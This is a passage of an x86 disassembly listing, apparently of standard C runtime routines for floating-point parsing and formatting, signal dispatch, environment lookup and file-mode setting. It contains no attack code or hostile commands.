sub_421208+294j cmp bl, 30h jnz short loc_4214F0 jmp short loc_42146F ; --------------------------------------------------------------------------- loc_4214AE: ; CODE XREF: sub_421208+63j ; DATA XREF: .data:off_4216A9o cmp [ebp+arg_18], 0 ; jumptable 0042126B case 11 jz short loc_4214DE movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4214D6 dec eax dec eax jnz loc_42157E loc_4214CA: ; CODE XREF: sub_421208+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_42125F ; --------------------------------------------------------------------------- loc_4214D6: ; CODE XREF: sub_421208+258j ; sub_421208+2B8j push 7 loc_4214D8: ; CODE XREF: sub_421208+85j ; sub_421208+103j ... pop eax jmp loc_42125F ; --------------------------------------------------------------------------- loc_4214DE: ; CODE XREF: sub_421208+2AAj push 0Ah dec edi pop eax loc_4214E2: ; CODE XREF: sub_421208+5Dj ; sub_421208+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042126B case 10 jz loc_421580 jmp loc_42125F ; --------------------------------------------------------------------------- loc_4214F0: ; CODE XREF: sub_421208+12Dj ; sub_421208+238j ... mov edi, [ebp+arg_8] jmp loc_421580 ; --------------------------------------------------------------------------- loc_4214F8: ; CODE XREF: sub_421208+63j ; DATA XREF: .data:off_4216A9o mov [ebp+var_20], 1 ; jumptable 0042126B case 9 xor esi, esi loc_421501: ; CODE XREF: sub_421208+339j cmp dword_438C8C, 1 jle short loc_421519 movzx eax, bl push 4 push eax call sub_41A342 pop ecx pop ecx jmp short loc_421528 ; --------------------------------------------------------------------------- loc_421519: ; CODE XREF: sub_421208+300j mov ecx, off_438A80 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_421528: ; CODE XREF: sub_421208+30Fj test eax, eax jz short loc_421548 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_421543 mov bl, [edi] inc edi jmp short loc_421501 ; --------------------------------------------------------------------------- loc_421543: ; CODE XREF: sub_421208+334j mov esi, 1451h loc_421548: ; CODE XREF: sub_421208+322j mov [ebp+var_1C], esi loc_42154B: ; CODE XREF: sub_421208+371j cmp dword_438C8C, 1 jle short loc_421563 movzx eax, bl push 4 push eax call sub_41A342 pop ecx pop ecx jmp short loc_421572 ; --------------------------------------------------------------------------- loc_421563: ; CODE XREF: sub_421208+34Aj mov ecx, off_438A80 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_421572: ; CODE XREF: sub_421208+359j test eax, eax jz short loc_42157B mov bl, [edi] inc edi jmp short loc_42154B ; --------------------------------------------------------------------------- loc_42157B: ; CODE XREF: sub_421208+99j ; sub_421208+E4j ... dec edi jmp short loc_421580 ; --------------------------------------------------------------------------- loc_42157E: ; CODE XREF: sub_421208+261j ; sub_421208+2BCj mov edi, ecx loc_421580: ; CODE XREF: sub_421208+2DDj ; sub_421208+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_421668 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_4215AC cmp [ebp+var_45], 5 jl short loc_4215A0 inc [ebp+var_45] loc_4215A0: ; CODE XREF: sub_421208+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_4215AF ; --------------------------------------------------------------------------- loc_4215AC: ; CODE XREF: sub_421208+38Dj mov eax, [ebp+var_C] loc_4215AF: ; CODE XREF: sub_421208+3A2j cmp [ebp+var_4], 0 jbe loc_42165E loc_4215B9: ; CODE XREF: sub_421208+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4215C7 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4215B9 ; --------------------------------------------------------------------------- loc_4215C7: ; CODE XREF: sub_421208+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_421141 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4215E6 neg eax loc_4215E6: ; CODE XREF: sub_421208+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4215F1 add eax, [ebp+arg_10] loc_4215F1: ; CODE XREF: sub_421208+3E4j cmp [ebp+var_24], ecx jnz short loc_4215F9 sub eax, [ebp+arg_14] loc_4215F9: ; CODE XREF: sub_421208+3ECj cmp eax, 1450h jle short loc_421630 mov [ebp+var_2C], 1 loc_421607: ; CODE XREF: sub_421208+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_421613: ; CODE XREF: sub_421208+454j ; sub_421208+45Ej cmp [ebp+var_2C], 0 jz short loc_421679 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_42168E ; --------------------------------------------------------------------------- loc_421630: ; CODE XREF: sub_421208+3F6j cmp eax, 0FFFFEBB0h jge short loc_421640 mov [ebp+var_30], 1 jmp short loc_421607 ; --------------------------------------------------------------------------- loc_421640: ; CODE XREF: sub_421208+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_421DF1 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_421613 ; --------------------------------------------------------------------------- loc_42165E: ; CODE XREF: sub_421208+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_421613 ; --------------------------------------------------------------------------- loc_421668: ; CODE XREF: sub_421208+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_42168E ; --------------------------------------------------------------------------- loc_421679: ; CODE XREF: sub_421208+40Fj cmp [ebp+var_30], 0 jz short loc_42168E xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_42168E: ; CODE XREF: sub_421208+426j ; sub_421208+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_421208 endp ; --------------------------------------------------------------------------- off_4216A9 dd offset loc_421272 ; DATA XREF: sub_421208+63r dd offset loc_4212C1 ; jump table for switch statement dd offset loc_421318 dd offset loc_421342 dd offset loc_42139D dd offset loc_421414 dd offset loc_42144A dd offset loc_421494 dd offset loc_421473 dd offset loc_4214F8 dd offset loc_4214E2 dd offset loc_4214AE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216D9 proc near ; CODE XREF: sub_420477+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_42173B mov byte ptr [ebx+2], 2Dh jmp short loc_42173F ; --------------------------------------------------------------------------- loc_42173B: ; CODE XREF: sub_4216D9+5Aj mov byte ptr [ebx+2], 20h loc_42173F: ; CODE XREF: sub_4216D9+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_421765 test edi, edi jnz short loc_421765 cmp [ebp+arg_0], edi jnz short loc_421765 loc_421750: ; CODE XREF: sub_4216D9+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_421963 ; --------------------------------------------------------------------------- loc_421765: ; CODE XREF: sub_4216D9+6Cj ; sub_4216D9+70j ... cmp dx, si jnz short loc_4217E4 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_42177E cmp [ebp+arg_0], 0 jz short loc_42178D loc_42177E: ; CODE XREF: sub_4216D9+9Dj test edi, 40000000h jnz short loc_42178D push offset a1Snan ; "1#SNAN" jmp short loc_4217D3 ; --------------------------------------------------------------------------- loc_42178D: ; CODE XREF: sub_4216D9+A3j ; sub_4216D9+ABj test cx, cx jz short loc_4217A7 cmp edi, 0C0000000h jnz short loc_4217A7 cmp [ebp+arg_0], 0 jnz short loc_4217CE push offset a1Ind ; "1#IND" jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_4217A7: ; CODE XREF: sub_4216D9+B7j ; sub_4216D9+BFj cmp edi, eax jnz short loc_4217CE cmp [ebp+arg_0], 0 jnz short loc_4217CE push offset a1Inf ; "1#INF" loc_4217B6: ; CODE XREF: sub_4216D9+CCj lea eax, [ebx+4] push eax call sub_4176C0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4217C5: ; CODE XREF: sub_4216D9+109j and [ebp+var_4], 0 jmp loc_42193C ; --------------------------------------------------------------------------- loc_4217CE: ; CODE XREF: sub_4216D9+C5j ; sub_4216D9+D0j ... push offset a1Qnan ; "1#QNAN" loc_4217D3: ; CODE XREF: sub_4216D9+B2j lea eax, [ebx+4] push eax call sub_4176C0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4217C5 ; --------------------------------------------------------------------------- loc_4217E4: ; CODE XREF: sub_4216D9+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_421DF1 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_421845 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_421BD1 pop ecx pop ecx loc_421845: ; CODE XREF: sub_4216D9+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_42185F mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_421862 jmp loc_421750 ; --------------------------------------------------------------------------- loc_42185F: ; CODE XREF: sub_4216D9+173j mov edi, [ebp+arg_C] loc_421862: ; CODE XREF: sub_4216D9+17Fj cmp edi, 15h jle short loc_42186A push 15h pop edi loc_42186A: ; CODE XREF: sub_4216D9+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_421880: ; CODE XREF: sub_4216D9+1B4j lea eax, [ebp+var_10] push eax call sub_4210E6 dec [ebp+arg_14] pop ecx jnz short loc_421880 test esi, esi jge short loc_4218AA neg esi and esi, 0FFh jle short loc_4218AA loc_42189D: ; CODE XREF: sub_4216D9+1CFj lea eax, [ebp+var_10] push eax call sub_421114 dec esi pop ecx jnz short loc_42189D loc_4218AA: ; CODE XREF: sub_4216D9+1B8j ; sub_4216D9+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_421907 mov [ebp+arg_C], ecx loc_4218BA: ; CODE XREF: sub_4216D9+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4210E6 lea eax, [ebp+var_10] push eax call sub_4210E6 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_421088 lea eax, [ebp+var_10] push eax call sub_4210E6 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4218BA mov eax, [ebp+arg_14] loc_421907: ; CODE XREF: sub_4216D9+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_421944 loc_421914: ; CODE XREF: sub_4216D9+248j cmp eax, ecx jb short loc_421927 cmp byte ptr [eax], 39h jnz short loc_421923 mov byte ptr [eax], 30h dec eax jmp short loc_421914 ; --------------------------------------------------------------------------- loc_421923: ; CODE XREF: sub_4216D9+242j cmp eax, ecx jnb short loc_42192B loc_421927: ; CODE XREF: sub_4216D9+23Dj inc eax inc word ptr [ebx] loc_42192B: ; CODE XREF: sub_4216D9+24Cj inc byte ptr [eax] loc_42192D: ; CODE XREF: sub_4216D9+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_42193C: ; CODE XREF: sub_4216D9+F0j mov eax, [ebp+var_4] loc_42193F: ; CODE XREF: sub_4216D9+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421944: ; CODE XREF: sub_4216D9+239j ; sub_4216D9+275j cmp eax, ecx jb short loc_421954 cmp byte ptr [eax], 30h jnz short loc_421950 dec eax jmp short loc_421944 ; --------------------------------------------------------------------------- loc_421950: ; CODE XREF: sub_4216D9+272j cmp eax, ecx jnb short loc_42192D loc_421954: ; CODE XREF: sub_4216D9+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_421963: ; CODE XREF: sub_4216D9+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_42193F sub_4216D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42196C proc near ; CODE XREF: sub_41D1FC+345Bp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4219D3 dec eax dec eax jz short loc_4219C4 sub eax, 4 jz short loc_4219C4 sub eax, 3 jz short loc_4219C4 sub eax, 4 jz short loc_4219B7 sub eax, 6 jz short loc_4219AA dec eax jz short loc_42199D or eax, 0FFFFFFFFh jmp loc_421A95 ; --------------------------------------------------------------------------- loc_42199D: ; CODE XREF: sub_42196C+27j mov esi, dword_48978C mov eax, offset dword_48978C jmp short loc_4219DE ; --------------------------------------------------------------------------- loc_4219AA: ; CODE XREF: sub_42196C+24j mov esi, dword_489788 mov eax, offset dword_489788 jmp short loc_4219DE ; --------------------------------------------------------------------------- loc_4219B7: ; CODE XREF: sub_42196C+1Fj mov esi, dword_489790 mov eax, offset dword_489790 jmp short loc_4219DE ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42196C+10j ; sub_42196C+15j ... push edi call sub_421A99 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4219DE ; --------------------------------------------------------------------------- loc_4219D3: ; CODE XREF: sub_42196C+Cj mov esi, dword_489784 mov eax, offset dword_489784 loc_4219DE: ; CODE XREF: sub_42196C+3Cj ; sub_42196C+49j ... cmp esi, 1 jnz short loc_4219EA xor eax, eax jmp loc_421A95 ; --------------------------------------------------------------------------- loc_4219EA: ; CODE XREF: sub_42196C+75j test esi, esi jnz short loc_4219F5 push 3 call sub_4197F6 loc_4219F5: ; CODE XREF: sub_42196C+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_421A07 cmp edi, 0Bh jz short loc_421A07 cmp edi, 4 jnz short loc_421A2D loc_421A07: ; CODE XREF: sub_42196C+8Fj ; sub_42196C+94j mov ebx, dword_489560 and dword_489560, 0 cmp edi, ecx jnz short loc_421A5C mov edx, dword_43B0FC mov dword_43B0FC, 8Ch mov [ebp+arg_0], edx jmp short loc_421A30 ; --------------------------------------------------------------------------- loc_421A2D: ; CODE XREF: sub_42196C+99j mov ebx, [ebp+arg_0] loc_421A30: ; CODE XREF: sub_42196C+BFj cmp edi, ecx jnz short loc_421A5C mov eax, dword_43B0F0 mov ecx, dword_43B0F4 add ecx, eax cmp eax, ecx jge short loc_421A63 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43B080h[edx*4] loc_421A51: ; CODE XREF: sub_42196C+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_421A51 jmp short loc_421A63 ; --------------------------------------------------------------------------- loc_421A5C: ; CODE XREF: sub_42196C+AAj ; sub_42196C+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_421A71 loc_421A63: ; CODE XREF: sub_42196C+D7j ; sub_42196C+EEj push dword_43B0FC push 8 call esi pop ecx pop ecx jmp short loc_421A7F ; --------------------------------------------------------------------------- loc_421A71: ; CODE XREF: sub_42196C+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_421A7F cmp edi, 4 jnz short loc_421A92 loc_421A7F: ; CODE XREF: sub_42196C+103j ; sub_42196C+10Cj cmp edi, 8 mov dword_489560, ebx jnz short loc_421A92 mov eax, [ebp+arg_0] mov dword_43B0FC, eax loc_421A92: ; CODE XREF: sub_42196C+111j ; sub_42196C+11Cj xor eax, eax pop ebx loc_421A95: ; CODE XREF: sub_42196C+2Cj ; sub_42196C+79j pop edi pop esi pop ebp retn sub_42196C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421A99 proc near ; CODE XREF: sub_42196C+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43B0F8 cmp dword_43B07C, edx push esi mov eax, offset dword_43B078 jz short loc_421AC7 lea esi, [ecx+ecx*2] lea esi, ds:43B078h[esi*4] loc_421ABB: ; CODE XREF: sub_421A99+2Cj add eax, 0Ch cmp eax, esi jnb short loc_421AC7 cmp [eax+4], edx jnz short loc_421ABB loc_421AC7: ; CODE XREF: sub_421A99+16j ; sub_421A99+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43B078h[ecx*4] cmp eax, ecx jnb short loc_421ADB cmp [eax+4], edx jz short locret_421ADD loc_421ADB: ; CODE XREF: sub_421A99+3Bj xor eax, eax locret_421ADD: ; CODE XREF: sub_421A99+40j retn sub_421A99 endp ; =============== S U B R O U T I N E ======================================= sub_421ADE proc near ; CODE XREF: sub_42067A+23p arg_0 = dword ptr 4 cmp dword_48AB30, 0 push ebx push esi mov esi, dword_4894D4 push edi jz short loc_421B55 test esi, esi jnz short loc_421B0F cmp dword_4894DC, esi jz short loc_421B55 call sub_421EAC test eax, eax jnz short loc_421B55 mov esi, dword_4894D4 test esi, esi jz short loc_421B55 loc_421B0F: ; CODE XREF: sub_421ADE+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_421B55 push ebx call sub_4177B0 pop ecx mov edi, eax loc_421B20: ; CODE XREF: sub_421ADE+6Dj mov eax, [esi] test eax, eax jz short loc_421B55 push eax call sub_4177B0 cmp eax, edi pop ecx jbe short loc_421B48 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_421B48 push edi push ebx push eax call sub_421E6D add esp, 0Ch test eax, eax jz short loc_421B4D loc_421B48: ; CODE XREF: sub_421ADE+51j ; sub_421ADE+59j add esi, 4 jmp short loc_421B20 ; --------------------------------------------------------------------------- loc_421B4D: ; CODE XREF: sub_421ADE+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_421B57 ; --------------------------------------------------------------------------- loc_421B55: ; CODE XREF: sub_421ADE+10j ; sub_421ADE+1Cj ... xor eax, eax loc_421B57: ; CODE XREF: sub_421ADE+75j pop edi pop esi pop ebx retn sub_421ADE endp ; =============== S U B R O U T I N E ======================================= sub_421B5B proc near ; CODE XREF: sub_420F21+8Bp ; sub_420F21+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_48A8E0 jnb short loc_421BC2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48A7E0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_421BC2 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_421B9B and cl, 7Fh jmp short loc_421BA8 ; --------------------------------------------------------------------------- loc_421B9B: ; CODE XREF: sub_421B5B+39j cmp [esp+4+arg_4], 4000h jnz short loc_421BB6 or cl, 80h loc_421BA8: ; CODE XREF: sub_421B5B+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_421BB6: ; CODE XREF: sub_421B5B+48j mov dword_4894AC, 16h jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BC2: ; CODE XREF: sub_421B5B+Bj ; sub_421B5B+27j mov dword_4894AC, 9 loc_421BCC: ; CODE XREF: sub_421B5B+65j or eax, 0FFFFFFFFh pop esi retn sub_421B5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BD1 proc near ; CODE XREF: sub_4216D9+165p ; sub_421DF1+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_421DD1 cmp cx, 7FFFh jnb loc_421DD1 cmp dx, 0BFFDh ja loc_421DD1 cmp dx, 3FBFh ja short loc_421C3A xor eax, eax jmp short loc_421C74 ; --------------------------------------------------------------------------- loc_421C3A: ; CODE XREF: sub_421BD1+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_421C5C inc [ebp+arg_0] test [esi+8], edx jnz short loc_421C5C xor eax, eax cmp [esi+4], eax jnz short loc_421C5E cmp [esi], eax jnz short loc_421C5E jmp loc_421DCB ; --------------------------------------------------------------------------- loc_421C5C: ; CODE XREF: sub_421BD1+71j ; sub_421BD1+79j xor eax, eax loc_421C5E: ; CODE XREF: sub_421BD1+80j ; sub_421BD1+84j cmp cx, ax jnz short loc_421C81 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_421C81 cmp [ebx+4], eax jnz short loc_421C81 cmp [ebx], eax jnz short loc_421C81 loc_421C74: ; CODE XREF: sub_421BD1+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_421DEC ; --------------------------------------------------------------------------- loc_421C81: ; CODE XREF: sub_421BD1+90j ; sub_421BD1+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_421C91: ; CODE XREF: sub_421BD1+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_421CE5 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_421CAD: ; CODE XREF: sub_421BD1+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_421067 add esp, 0Ch test eax, eax jz short loc_421CD8 mov eax, [ebp+var_4] inc word ptr [eax] loc_421CD8: ; CODE XREF: sub_421BD1+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_421CAD loc_421CE5: ; CODE XREF: sub_421BD1+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_421C91 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_421D28 loc_421D03: ; CODE XREF: sub_421BD1+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_421D21 lea eax, [ebp+var_24] push eax call sub_4210E6 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_421D03 loc_421D21: ; CODE XREF: sub_421BD1+136j cmp word ptr [ebp+arg_0], 0 jg short loc_421D61 loc_421D28: ; CODE XREF: sub_421BD1+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_421D61 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_421D41: ; CODE XREF: sub_421BD1+184j test byte ptr [ebp+var_24], 1 jz short loc_421D4A inc [ebp+var_14] loc_421D4A: ; CODE XREF: sub_421BD1+174j lea eax, [ebp+var_24] push eax call sub_421114 dec ebx pop ecx jnz short loc_421D41 cmp [ebp+var_14], 0 jz short loc_421D61 or byte ptr [ebp+var_24], 1 loc_421D61: ; CODE XREF: sub_421BD1+155j ; sub_421BD1+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_421D78 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_421DAD loc_421D78: ; CODE XREF: sub_421BD1+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_421DAA and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_421DA5 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_421D9F inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D9F: ; CODE XREF: sub_421BD1+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421DA5: ; CODE XREF: sub_421BD1+1B5j inc [ebp+var_20+2] jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421DAA: ; CODE XREF: sub_421BD1+1ABj inc [ebp+var_24+2] loc_421DAD: ; CODE XREF: sub_421BD1+1A5j ; sub_421BD1+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_421DD1 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_421DCB: ; CODE XREF: sub_421BD1+86j mov [esi+0Ah], ax jmp short loc_421DEC ; --------------------------------------------------------------------------- loc_421DD1: ; CODE XREF: sub_421BD1+42j ; sub_421BD1+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_421DEC: ; CODE XREF: sub_421BD1+ABj ; sub_421BD1+1FEj pop edi pop esi pop ebx leave retn sub_421BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DF1 proc near ; CODE XREF: sub_421208+440p ; sub_4216D9+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43B570 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_421E6A jge short loc_421E19 mov eax, [ebp+arg_4] mov ebx, offset dword_43B6D0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_421E19: ; CODE XREF: sub_421DF1+16j cmp [ebp+arg_8], ecx jnz short loc_421E24 mov eax, [ebp+arg_0] mov [eax], cx loc_421E24: ; CODE XREF: sub_421DF1+2Bj cmp [ebp+arg_4], ecx jz short loc_421E6A push esi push edi loc_421E2B: ; CODE XREF: sub_421DF1+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_421E63 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_421E56 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_421E56: ; CODE XREF: sub_421DF1+57j push esi push [ebp+arg_0] call sub_421BD1 pop ecx pop ecx xor ecx, ecx loc_421E63: ; CODE XREF: sub_421DF1+49j cmp [ebp+arg_4], ecx jnz short loc_421E2B pop edi pop esi loc_421E6A: ; CODE XREF: sub_421DF1+14j ; sub_421DF1+36j pop ebx leave retn sub_421DF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E6D proc near ; CODE XREF: sub_421ADE+5Ep ; sub_42231E+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_421E7A xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_421E7A: ; CODE XREF: sub_421E6D+7j push dword_48A8E4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_48AB04 call sub_421F1A add esp, 1Ch test eax, eax jnz short 